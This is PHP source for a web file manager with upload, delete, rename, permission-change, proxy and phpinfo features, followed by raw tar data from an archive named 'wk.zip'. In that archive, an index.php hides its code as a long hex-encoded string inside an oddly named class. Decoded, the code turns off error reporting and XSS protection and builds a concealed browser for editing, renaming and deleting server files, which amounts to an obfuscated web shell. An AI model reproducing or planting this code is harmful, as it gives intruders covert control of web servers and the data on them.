{ ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahri-yzx/atex">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> wk.zip 0000644 00000157105 15125140677 0005732 0 ustar 00 PK �6�[��f��� �� index.phpnu �[��� <?php class nigwqgqwtqwtqwt{ public function nigwqgqwtqwtqwti(){ $list = "73657373|696F|6E5F73|746172|7428|293B|68656164|65722822|582D58|53532D|50726F|74656374|69|6F6E|3A|20302229|3B6F62|5F7374|617274|28293B73|65|745F|7469|6D65|5F6C69|6D69|74283029|3B657272|6F725F|7265|706F72|7469|6E6728|30293B|69|6E695F73|657428|2764|697370|6C6179|5F657272|6F|727327|2C20|4641|4C5345|293B|0A2469|73416A61|78203D20|69|7373|65|7428|245F|5345|5256|45|525B2748|54|54|505F|58|5F5245|51|5545|535445|445F|5749|544827|5D2920|0A2020|2020|20|202020|20|26262073|7472|746F6C6F|776572|2824|5F|5345|5256|45525B|2748|5454|505F|585F5245|51554553|5445445F|57495448|275D2920|3D3D|3D2027|786D|6C687474|707265|7175|65737427|3B|0A|0A66756E|637469|6F6E2068|657828|246E|29207B|0A20|202020|24793D|27273B|0A|20|20202066|6F7220|2824|693D|303B20|2469203C|2073|74|726C65|6E2824|6E|293B2024|69|2B|2B|297B0A20|20|2020|20202020|2479|202E3D|20646563|686578|28|6F72|64|2824|6E|5B|24695D29|293B0A|20202020|7D0A2020|20|20726574|75726E20|24793B|0A7D0A66|75|6E637469|6F6E|207568|65|7828|24|79|2920|7B|0A2020|20|20246E3D|2727|3B|0A202020|20|666F7220|282469|3D303B|2024|69203C20|73|74|72|6C|656E|28247929|2D31|3B20|24|692B3D|32297B|0A202020|202020|2020246E|20|2E3D|20636872|28686578|64656328|24|795B24|695D2E24|795B|24|69|2B31|5D2929|3B0A|202020|207D0A|202020|20|726574|75726E|20246E3B|0A7D|0A|696620|286973|73|65742824|5F4745|545B22|64225D|2929207B|0A2020|20202464|20|3D|2075|68|6578|28245F|47|45545B|2264|225D293B|0A202020|20|6966|2028|69|735F|64|69722824|642929|207B0A|2020|20202020|20|2063|68646972|28246429|3B0A2020|20|207D|20656C|7365|207B0A|202020|20202020|20|246420|3D206765|7463|77642829|3B0A2020|20207D|0A|7D|20656C|736520|7B0A2020|20|2024|6420|3D206765|7463|776428|293B0A7D|0A66756E|63|7469|6F6E|20736574|466C61|73|682824|7374|617475|73|2C20|24|6D736729|207B|0A202020|20245F53|45535349|4F4E5B|27|73746174|75|73275D|203D|20247374|617475|733B0A|20202020|24|5F5345|5353494F|4E|5B276D|73|6727|5D203D20|246D|73|67|3B0A|7D0A6966|20|286973|73|65|742824|5F|4745|54|5B27|616A6178|275D|29|2026|2620245F|4745545B|2761|6A61|7827|5D|203D3D|203129|207B0A20|2020203F|3E0A2020|20203C74|6162|6C653E0A|20|202020|202020|203C|74686561|643E0A20|202020|202020|20202020|203C74|723E|0A|2020|202020|20202020|20|20202020|20203C74|683E4E61|6D65|3C|2F74683E|0A20|202020|202020|2020|20202020|20|20203C|74683E53|69|7A653C|2F74|68|3E0A20|2020|20202020|2020|20202020|2020|20|3C7468|3E416374|696F6E|733C2F74|683E|0A20|2020|2020|20|202020|202020|3C2F|7472|3E0A2020|20202020|2020|3C|2F|74686561|64|3E|0A20|202020|202020|203C7462|6F64|793E0A|2020|20|20|20202020|3C3F70|68700A20|202020|20|2020|2024656E|74|72|6965|7320|3D20|736361|6E646972|28246429|3B0A|20|20202020|2020|20246469|72|4C|6973|7420|3D|205B5D3B|0A20|202020|20|20202024|66|696C654C|69737420|3D205B5D|3B0A2020|202020|20202066|6F|72|6561|63682028|24|65|6E|747269|65|73|20617320|24656E|747279|29207B0A|20|202020|20|20|20|202020|2020|696620|282465|6E747279|203D|3D2027|2E27|207C7C|202465|6E74|7279|203D|3D2027|2E2E2729|2063|6F6E|7469|6E75653B|0A20|202020|20|2020|2020|20202024|70617468|203D|2024|64|202E20|444952|4543544F|52595F|53|455041|524154|4F5220|2E2024|656E74|72793B0A|2020|2020|2020|20|202020|2020|696620|28|69735F64|69|722824|706174|682929|207B|0A20|20|20|202020|202020|202020|20202020|246469|724C6973|745B|5D203D20|24656E|7472793B|0A|20202020|20202020|20202020|7D|20656C73|6520|7B0A2020|202020|20202020|20|20202020|2020|246669|6C654C69|73|74|5B|5D20|3D|20|24656E|747279|3B0A2020|20202020|20|20202020|207D0A|20202020|2020|20|20|7D0A2020|202020|20202066|6F|7265|616368|20|28246469|72|4C|69737420|61732024|656E7472|792920|7B|0A|20202020|20202020|202020|20247061|74|68203D|202464|202E2044|4952|4543544F|5259|5F53|4550|41|52|41|544F|52202E20|24656E74|72793B0A|202020|20202020|20202020|2065|63686F|20273C74|723E27|3B|0A20|20|2020|20|20|2020|20202020|6563686F|2027|3C|74|643E3C|612063|6C|61|73|733D22|616A61|7844|697222|20687265|663D223F|643D27|20|2E2068|6578|2824|706174|6829202E|2027|223E|27202E20|68746D6C|737065|636961|6C63|686172|732824|656E74|72792920|2E20273C|2F613E3C|2F|7464|3E27|3B0A20|2020|20202020|20|2020|202065|63686F|20|273C74|643E|2D|3C|2F74|64|3E273B|0A202020|202020|20202020|20|20656368|6F|20273C74|643E3C2F|74643E|273B0A20|20202020|2020|20|20202020|656368|6F|20273C2F|74723E27|3B0A20|202020|2020|20|207D0A|2020|2020|20|20202066|6F72|6561|6368|20|2824|66696C|65|4C697374|206173|202465|6E|7472|7929207B|0A202020|20|20|20202020|20|20|20247061|746820|3D2024|64202E20|4449|52454354|4F52595F|5345|5041|524154|4F|52|202E2024|656E74|72|793B0A|2020|2020|202020|20|202020|206563|686F20|273C7472|3E273B|0A202020|202020|20202020|2020|65|6368|6F20273C|74|643E|27202E20|68746D6C|737065|63|69616C63|68|61|7273|28|24|656E74|7279|29202E20|273C2F74|643E27|3B0A|20202020|2020|20|2020|202020|6563|686F2027|3C74643E|27|202E|202869|735F66|696C65|2824|70617468|2920|3F2066|696C65|7369|7A|65282470|617468|2920|2E|20272062|797465|732720|3A20272D|27|29|20|2E20273C|2F|74643E27|3B0A|20202020|202020|202020|20|20656368|6F|20273C|74643E27|3B|0A20|2020|20|2020|2020|2020|20|206563|686F2027|3C6120|636C|61|73733D22|616A61|7845|6469|74|2220|68726566|3D22|3F616374|69|6F6E3D65|646974|2664|3D27|202E2068|65782824|64|2920|2E202726|6669|6C653D27|202E|207572|6C656E63|6F|64|65|2824656E|74|72792920|2E20|27|223E45|646974|3C2F613E|207C2027|3B0A|202020|20|202020|20|20202020|65|63686F20|273C|612063|6C|61|73|733D22|616A61|78|5265|6E616D|652220|68726566|3D223F61|6374696F|6E3D72|65|6E616D|65|26643D27|20|2E|20|68|657828|24642920|2E202726|66|696C653D|27|202E20|75726C65|6E636F|64|6528|24|656E|74|7279|29202E|2027|223E5265|6E616D|653C|2F613E|20|7C|20273B|0A2020|20|20|2020|202020|20|2020|6563686F|2027|3C612063|6C617373|3D|22616A|61784465|6C657465|2220|6872|65663D22|3F616374|696F6E3D|64|656C|65|7465|26643D27|20|2E20|68657828|24|642920|2E|20|2726|66|696C653D|27|202E2075|726C656E|636F64|652824|65|6E747279|2920|2E202722|3E|44|656C|65|74|653C|2F613E|273B|0A20|20202020|20|20|202020|20206563|686F|2027|3C2F|74|64|3E273B0A|2020|20|20202020|20|20202020|6563686F|20|273C2F|74723E27|3B0A2020|20202020|20207D0A|20|2020|2020|2020|203F3E|0A|20202020|20202020|3C2F|74|626F6479|3E0A|20|20|20203C|2F74|61|626C|65|3E|0A2020|20203C|3F7068|700A2020|20|20657869|743B0A7D|0A|0A|69662028|69|73|73|6574|28|24|5F4745|545B27|616A61|78275D|292026|262024|5F474554|5B|27616A|6178|275D203D|3D3D2027|62|726561|6463|72|756D62|272920|7B0A2020|20|2024|6B20|3D|20|7072|65675F73|706C69|742822|2F285C|5C5C5C|7C|5C2F29|2F|222C20|2464|293B0A20|20202024|627265|61|646372|75|6D624874|6D6C|203D20|27|273B|0A202020|2066|6F72|6561|6368|20|28246B|2061|73|2024|6D|203D3E20|246C|29|20|7B0A20|202020|202020|20|6966|2028246C|20|3D|3D2027|27|202626|20|246D20|3D3D20|3029207B|0A20|20|20202020|2020|2020|2020|24627265|61646372|756D6248|746D6C|202E|3D2027|3C61|20|63|6C61|73733D22|61|6A782220|68726566|3D|223F643D|3266223E|2F3C2F|613E273B|0A2020|202020|2020207D|0A|20|20|20202020|20206966|2028246C|203D3D|202727|2920636F|6E7469|6E75|653B|0A|20|20|2020|20202020|24|62726561|64|63|72|75|6D62|4874|6D|6C202E3D|20|27|3C61|20|636C|617373|3D22|616A78|222068|72|65663D|223F64|3D|273B|0A20|20|20|20202020|20666F72|202824|6920|3D2030|3B2024|69203C|3D|2024|6D3B|2024|692B2B29|207B0A20|20|20|2020|202020|2020|20202462|7265|616463|72|756D6248|74|6D6C202E|3D206865|782824|6B5B24|695D29|3B0A2020|20202020|202020|20|20|20696620|28246920|213D2024|6D2920|24627265|61646372|75|6D|62|48746D|6C|202E3D|2027|326627|3B|0A|2020|2020|20202020|7D0A|202020|202020|202024|62|72656164|6372|756D6248|746D6C|202E3D|20|27|22|3E272E24|6C2E273C|2F613E|2F|273B0A20|2020207D|0A202020|2065|63|68|6F|20246272|6561|64637275|6D6248|746D|6C|3B|0A2020|2020|65786974|3B0A|7D0A0A|66756E|6374696F|6E2073|6166655F|7374|72|65616D5F|636F|7079|2824696E|2C|20246F75|74293A|2062|6F6F6C20|7B0A2020|20|2069|662028|5048505F|564552|53494F|4E5F49|44203C20|3830|30|30392920|7B0A2020|2020|20|202020|646F|207B0A20|2020|2020|202020|20202020|66|6F72|20|283B3B29|207B0A|202020|202020|20|202020|20202020|2020|24|62|75|6666|203D|20667265|616428|2469|6E|2C2034|303936|29|3B0A2020|202020|20202020|20202020|202020|69|66|20|282462|75|6666|203D3D3D|206661|6C73|6520|7C7C20|24627566|66|203D|3D|3D2027|2729|207B|0A|202020|20202020|20|20|20|2020|202020|20202020|20627265|616B3B|0A|20202020|20202020|20202020|20|202020|7D0A|202020|2020|20|202020|20202020|20|20206966|202866|777269|74|6528|246F|7574|2C20|24627566|6629|203D3D|3D206661|6C736529|207B0A20|2020|202020|20202020|20202020|2020|2020|20207265|7475726E|20|66|616C7365|3B0A20|202020|2020|2020|20|20|20202020|20|207D0A|202020|20202020|20|20202020|7D0A20|20202020|20|20|20|7D2077|6869|6C65|20|2821|66|656F6628|24|696E29|293B0A20|20202020|20202072|657475|